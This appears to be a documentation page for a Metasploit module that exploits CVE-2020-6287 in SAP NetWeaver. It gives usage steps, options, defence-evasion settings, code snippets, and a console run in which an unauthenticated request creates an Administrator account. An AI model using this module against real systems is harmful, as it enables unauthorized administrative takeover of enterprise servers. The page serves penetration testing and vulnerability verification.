SAP Unauthenticated WebService User Creation - Metasploit


This page contains detailed information about how to use the auxiliary/admin/sap/cve_2020_6287_ws_add_user metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: SAP Unauthenticated WebService User Creation
Module: auxiliary/admin/sap/cve_2020_6287_ws_add_user
Source code: modules/auxiliary/admin/sap/cve_2020_6287_ws_add_user.rb
Disclosure date: 2020-07-14
Last modification time: 2021-02-24 20:24:57 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888, 50000
List of CVEs: CVE-2020-6287

This module is also known as RECON.

This module leverages an unauthenticated web service to submit a job which will create a user with a specified role. The job involves running a wizard. After the necessary action is taken, the job is canceled to avoid unnecessary system changes.

Module Ranking and Traits


Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage


msf > use auxiliary/admin/sap/cve_2020_6287_ws_add_user
msf auxiliary(cve_2020_6287_ws_add_user) > show targets
    ... a list of targets ...
msf auxiliary(cve_2020_6287_ws_add_user) > set TARGET target-id
msf auxiliary(cve_2020_6287_ws_add_user) > show options
    ... show and set options ...
msf auxiliary(cve_2020_6287_ws_add_user) > exploit

Required Options


  • RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'

  • USERNAME: The username to create

  • PASSWORD: The password for the new user

Knowledge Base


Vulnerable Application


This module leverages an unauthenticated web service to submit a job which will create a user with a specified role. The job involves running a wizard. After the necessary action is taken, the job is canceled to avoid unnecessary system changes.

SAP NetWeaver NetWeaver versions 7.30 through 7.50 are affected by this vulnerability. An Amazon Machine Image (AMI) for Amazon Web Services (AWS) can be used as a testing environment. One such image is provided by Linke IT America LLC and is available on the AWS Marketplace with installation instructions posted to their blog.

Once set up and configured, the instances will be vulnerable on the default HTTP port 50000.

If the password does not meet the requirements (e.g. the value is too short), the server will respond with an error message and the Metasploit module will need to be rerun.

Verification Steps


  1. Install the application
  2. Start msfconsole
  3. Do: use auxiliary/admin/sap/cve_2020_6287_ws_add_user
  4. Set the RHOST, USERNAME, and PASSWORD options
  5. Run the module and wait a few seconds
  6. Once the "PCK Upgrade" job has been canceled, log in with the created credentials

Options


ROLE

The role to assign to the user in the system. This value is "Administrator" by default. If the role does not exist, then execution will fail. For more information on users and roles, see the SAP documentation.

From the documentation:

Standard UME roles include such actions. The UME role Administrator includes Manage_ All, which enables you to display and change everything. By default, administrator roles are only assigned to administrators.

Scenarios


SAP NetWeaver 7.50

Example: Adding a new user metasploit with the Administrator role:

msf5 > use auxiliary/admin/sap/cve_2020_6287_ws_add_user 
msf5 auxiliary(admin/sap/cve_2020_6287_ws_add_user) > set RHOSTS netweaver.lan
RHOSTS => netweaver.lan
msf5 auxiliary(admin/sap/cve_2020_6287_ws_add_user) > set USERNAME metasploit
USERNAME => metasploit
msf5 auxiliary(admin/sap/cve_2020_6287_ws_add_user) > set PASSWORD 0pe3nS3sam3
PASSWORD => 0pe3nS3sam3
msf5 auxiliary(admin/sap/cve_2020_6287_ws_add_user) > check
[+] 192.168.53.183:50000 - The target is vulnerable.
msf5 auxiliary(admin/sap/cve_2020_6287_ws_add_user) > set VERBOSE true
VERBOSE => true
msf5 auxiliary(admin/sap/cve_2020_6287_ws_add_user) > run
[*] Running module against 192.168.53.183

[*] Starting the PCK Upgrade job...
[+] Job running with session id: 3e76e705-4bbd-4a6b-b243-154768287fb0
[*] Received event description: Execution of User Management
[*] Received event description: Create User PCKUser
[+] Successfully created the user account
[*] Received event description: Assign Role SAP_XI_PCK_CONFIG to PCKUser
[+] Successfully added the role to the new user
[*] Canceling the PCK Upgrade job...
[*] Auxiliary module execution completed
msf5 auxiliary(admin/sap/cve_2020_6287_ws_add_user) >

Example: Removing the user metasploit:

msf5 > use auxiliary/admin/sap/cve_2020_6287_ws_add_user 
msf5 auxiliary(admin/sap/cve_2020_6287_ws_add_user) > set RHOSTS netweaver.lan
RHOSTS => netweaver.lan
msf5 auxiliary(admin/sap/cve_2020_6287_ws_add_user) > set USERNAME metasploit
USERNAME => metasploit
msf5 auxiliary(admin/sap/cve_2020_6287_ws_add_user) > set PASSWORD 0pe3nS3sam3
PASSWORD => 0pe3nS3sam3
msf5 auxiliary(admin/sap/cve_2020_6287_ws_add_user) > set ACTION REMOVE
ACTION => REMOVE
msf5 auxiliary(admin/sap/cve_2020_6287_ws_add_user) > run
[*] Running module against 192.168.53.183

[+] Successfully deleted the user account
[*] Auxiliary module execution completed
msf5 auxiliary(admin/sap/cve_2020_6287_ws_add_user) >

Go back to menu.

Msfconsole Usage


Here is how the admin/sap/cve_2020_6287_ws_add_user auxiliary module looks in the msfconsole:

msf6 > use auxiliary/admin/sap/cve_2020_6287_ws_add_user

msf6 auxiliary(admin/sap/cve_2020_6287_ws_add_user) > show info

       Name: SAP Unauthenticated WebService User Creation
     Module: auxiliary/admin/sap/cve_2020_6287_ws_add_user
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2020-07-14

Provided by:
  Pablo Artuso
  Dmitry Chastuhin
  Spencer McIntyre

Available actions:
  Name    Description
  ----    -----------
  ADD     Add the specified user
  REMOVE  Remove the specified user

Check supported:
  Yes

Basic options:
  Name       Current Setting                   Required  Description
  ----       ---------------                   --------  -----------
  PASSWORD                                     yes       The password for the new user
  Proxies                                      no        A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTS                                       yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  ROLE       Administrator                     yes       The role to assign the new user
  RPORT      50000                             yes       The target port (TCP)
  SSL        false                             no        Negotiate SSL/TLS for outgoing connections
  TARGETURI  /CTCWebService/CTCWebServiceBean  yes       Path to CTCWebService
  USERNAME                                     yes       The username to create
  VHOST                                        no        HTTP server virtual host

Description:
  This module leverages an unauthenticated web service to submit a job 
  which will create a user with a specified role. The job involves 
  running a wizard. After the necessary action is taken, the job is 
  canceled to avoid unnecessary system changes.

References:
  https://nvd.nist.gov/vuln/detail/CVE-2020-6287
  https://github.com/chipik/SAP_RECON
  https://www.onapsis.com/recon-sap-cyber-security-vulnerability
  https://us-cert.cisa.gov/ncas/alerts/aa20-195a

Also known as:
  RECON

Module Options


This is a complete list of options available in the admin/sap/cve_2020_6287_ws_add_user auxiliary module:

msf6 auxiliary(admin/sap/cve_2020_6287_ws_add_user) > show options

Module options (auxiliary/admin/sap/cve_2020_6287_ws_add_user):

   Name       Current Setting                   Required  Description
   ----       ---------------                   --------  -----------
   PASSWORD                                     yes       The password for the new user
   Proxies                                      no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                                       yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   ROLE       Administrator                     yes       The role to assign the new user
   RPORT      50000                             yes       The target port (TCP)
   SSL        false                             no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /CTCWebService/CTCWebServiceBean  yes       Path to CTCWebService
   USERNAME                                     yes       The username to create
   VHOST                                        no        HTTP server virtual host

Auxiliary action:

   Name  Description
   ----  -----------
   ADD   Add the specified user

Advanced Options


Here is a complete list of advanced options supported by the admin/sap/cve_2020_6287_ws_add_user auxiliary module:

msf6 auxiliary(admin/sap/cve_2020_6287_ws_add_user) > show advanced

Module advanced options (auxiliary/admin/sap/cve_2020_6287_ws_add_user):

   Name                  Current Setting                                     Required  Description
   ----                  ---------------                                     --------  -----------
   DOMAIN                WORKSTATION                                         yes       The domain to use for Windows authentication
   DigestAuthIIS         true                                                no        Conform to IIS, should work for most servers. Only set to false for non-IIS servers
   FingerprintCheck      true                                                no        Conduct a pre-exploit fingerprint verification
   HttpClientTimeout                                                         no        HTTP connection and receive timeout
   HttpPassword                                                              no        The HTTP password to specify for authentication
   HttpRawHeaders                                                            no        Path to ERB-templatized raw headers to append to existing headers
   HttpTrace             false                                               no        Show the raw HTTP requests and responses
   HttpTraceColors       red/blu                                             no        HTTP request and response colors for HttpTrace (unset to disable)
   HttpTraceHeadersOnly  false                                               no        Show HTTP headers only in HttpTrace
   HttpUsername                                                              no        The HTTP username to specify for authentication
   SSLVersion            Auto                                                yes       Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
   UserAgent             Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)  no        The User-Agent header to use for all requests
   VERBOSE               false                                               no        Enable detailed status messages
   WORKSPACE                                                                 no        Specify the workspace for this module

Auxiliary Actions


This is a list of all auxiliary actions that the admin/sap/cve_2020_6287_ws_add_user module can do:

msf6 auxiliary(admin/sap/cve_2020_6287_ws_add_user) > show actions

Auxiliary actions:

   Name    Description
   ----    -----------
   ADD     Add the specified user
   REMOVE  Remove the specified user

Evasion Options


Here is the full list of possible evasion options supported by the admin/sap/cve_2020_6287_ws_add_user auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 auxiliary(admin/sap/cve_2020_6287_ws_add_user) > show evasion

Module evasion options:

   Name                          Current Setting  Required  Description
   ----                          ---------------  --------  -----------
   HTTP::header_folding          false            no        Enable folding of HTTP headers
   HTTP::method_random_case      false            no        Use random casing for the HTTP method
   HTTP::method_random_invalid   false            no        Use a random invalid, HTTP method for request
   HTTP::method_random_valid     false            no        Use a random, but valid, HTTP method for request
   HTTP::pad_fake_headers        false            no        Insert random, fake headers into the HTTP request
   HTTP::pad_fake_headers_count  0                no        How many fake headers to insert into the HTTP request
   HTTP::pad_get_params          false            no        Insert random, fake query string variables into the request
   HTTP::pad_get_params_count    16               no        How many fake query string variables to insert into the request
   HTTP::pad_method_uri_count    1                no        How many whitespace characters to use between the method and uri
   HTTP::pad_method_uri_type     space            no        What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
   HTTP::pad_post_params         false            no        Insert random, fake post variables into the request
   HTTP::pad_post_params_count   16               no        How many fake post variables to insert into the request
   HTTP::pad_uri_version_count   1                no        How many whitespace characters to use between the uri and version
   HTTP::pad_uri_version_type    space            no        What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
   HTTP::uri_dir_fake_relative   false            no        Insert fake relative directories into the uri
   HTTP::uri_dir_self_reference  false            no        Insert self-referential directories into the uri
   HTTP::uri_encode_mode         hex-normal       no        Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
   HTTP::uri_fake_end            false            no        Add a fake end of URI (eg: /%20HTTP/1.0/../../)
   HTTP::uri_fake_params_start   false            no        Add a fake start of params to the URI (eg: /%3fa=b/../)
   HTTP::uri_full_url            false            no        Use the full URL for all HTTP requests
   HTTP::uri_use_backslashes     false            no        Use back slashes instead of forward slashes in the uri
   HTTP::version_random_invalid  false            no        Use a random invalid, HTTP version for request
   HTTP::version_random_valid    false            no        Use a random, but valid, HTTP version for request

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Content-Type


Here is a relevant code snippet related to the "Content-Type" error message:

59:	        'vars_get' => { 'wsdl' => '' }
60:	      }
61:	    )
62:	
63:	    return Exploit::CheckCode::Safe unless res&.code == 200
64:	    return Exploit::CheckCode::Safe unless res.headers['Content-Type'].strip.start_with?('text/xml')
65:	
66:	    xml = res.get_xml_document
67:	    return Exploit::CheckCode::Safe unless xml.namespaces['xmlns:wsdl'] == 'http://schemas.xmlsoap.org/wsdl/'
68:	    return Exploit::CheckCode::Safe if xml.xpath("//wsdl:definitions/wsdl:service[@name='CTCWebService']").empty?
69:	

General error


Here is a relevant code snippet related to the "General error" error message:

103:	
104:	      event = job.get_event
105:	
106:	      if !(action_id = event.xpath('//ctc:StartAction/ctc:Action/ctc:ActionId/text()')).blank? && (action_id.to_s == 'genErrorNotification')
107:	        report_error_details(job)
108:	        fail_with(Failure::Unknown, 'General error')
109:	      end
110:	
111:	      unless (description = event.xpath('//ctc:StartAction/ctc:Action/ctc:Description/text()')).blank?
112:	        vprint_status("Received event description: #{description}")
113:	      end

Failed to delete the user


Here is a relevant code snippet related to the "Failed to delete the user" error message:

155:	         </soapenv:Body>
156:	      </soapenv:Envelope>
157:	    ENVELOPE
158:	
159:	    res = send_request_soap(envelope)
160:	    fail_with(Failure::UnexpectedReply, 'Failed to delete the user') unless res&.code == 200
161:	
162:	    print_good('Successfully deleted the user account')
163:	  end
164:	
165:	  def report_error_details(job)

Received a general error notification


Here is a relevant code snippet related to the "Received a general error notification" error message:

161:	
162:	    print_good('Successfully deleted the user account')
163:	  end
164:	
165:	  def report_error_details(job)
166:	    print_error('Received a general error notification')
167:	    error_event = job.get_event
168:	
169:	    print_error('Error details:')
170:	    error_event.xpath('//ctc:Notification/ctcNote:Messages/ctcNote:Message').each do |message|
171:	      print_error("  #{message.text}")

Error details


Here is a relevant code snippet related to the "Error details" error message:

164:	
165:	  def report_error_details(job)
166:	    print_error('Received a general error notification')
167:	    error_event = job.get_event
168:	
169:	    print_error('Error details:')
170:	    error_event.xpath('//ctc:Notification/ctcNote:Messages/ctcNote:Message').each do |message|
171:	      print_error("  #{message.text}")
172:	    end
173:	  end
174:	

Failed to start the PCK Upgrade process


Here is a relevant code snippet related to the "Failed to start the PCK Upgrade process" error message:

242:	         </soapenv:Body>
243:	      </soapenv:Envelope>
244:	    ENVELOPE
245:	
246:	    res = send_request_soap(envelope)
247:	    fail_with(Failure::UnexpectedReply, 'Failed to start the PCK Upgrade process') unless res&.code == 200
248:	
249:	    session_id = res.get_xml_document.xpath('//return/text()').to_s
250:	    WebServiceJob.new(self, session_id)
251:	  end
252:	end

Failed to cancel execution


Here is a relevant code snippet related to the "Failed to cancel execution" error message:

267:	            </urn:cancelExecution>
268:	         </soapenv:Body>
269:	      </soapenv:Envelope>
270:	    ENVELOPE
271:	    res = send_request_soap(envelope)
272:	    fail_with(Failure::UnexpectedReply, 'Failed to cancel execution') if res.nil?
273:	
274:	    res.get_xml_document.xpath('//return/text()').to_s != 'false'
275:	  end
276:	
277:	  def get_event

Failed to retrieve the event information


Here is a relevant code snippet related to the "Failed to retrieve the event information" error message:

284:	            </urn:getNextEvent>
285:	         </soapenv:Body>
286:	      </soapenv:Envelope>
287:	    ENVELOPE
288:	    res = send_request_soap(envelope)
289:	    fail_with(Failure::UnexpectedReply, 'Failed to retrieve the event information') if res.nil?
290:	
291:	    Nokogiri::XML(Rex::Text.decode_base64(res.get_xml_document.xpath('//return/text()')))
292:	  end
293:	
294:	  def has_events_available? # rubocop:disable Naming/PredicateName

Failed to check if events are available


Here is a relevant code snippet related to the "Failed to check if events are available" error message:

301:	            </urn:eventsAvailable>
302:	         </soapenv:Body>
303:	      </soapenv:Envelope>
304:	    ENVELOPE
305:	    res = send_request_soap(envelope)
306:	    fail_with(Failure::UnexpectedReply, 'Failed to check if events are available') if res.nil?
307:	
308:	    res.get_xml_document.xpath('//return/text()').to_s != 'false'
309:	  end
310:	
311:	  attr_reader :session_id

Go back to menu.


References


See Also


Check also the following modules related to this module:

Authors


  • Pablo Artuso
  • Dmitry Chastuhin
  • Spencer McIntyre

Version


This page has been produced using Metasploit Framework version 6.2.26-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.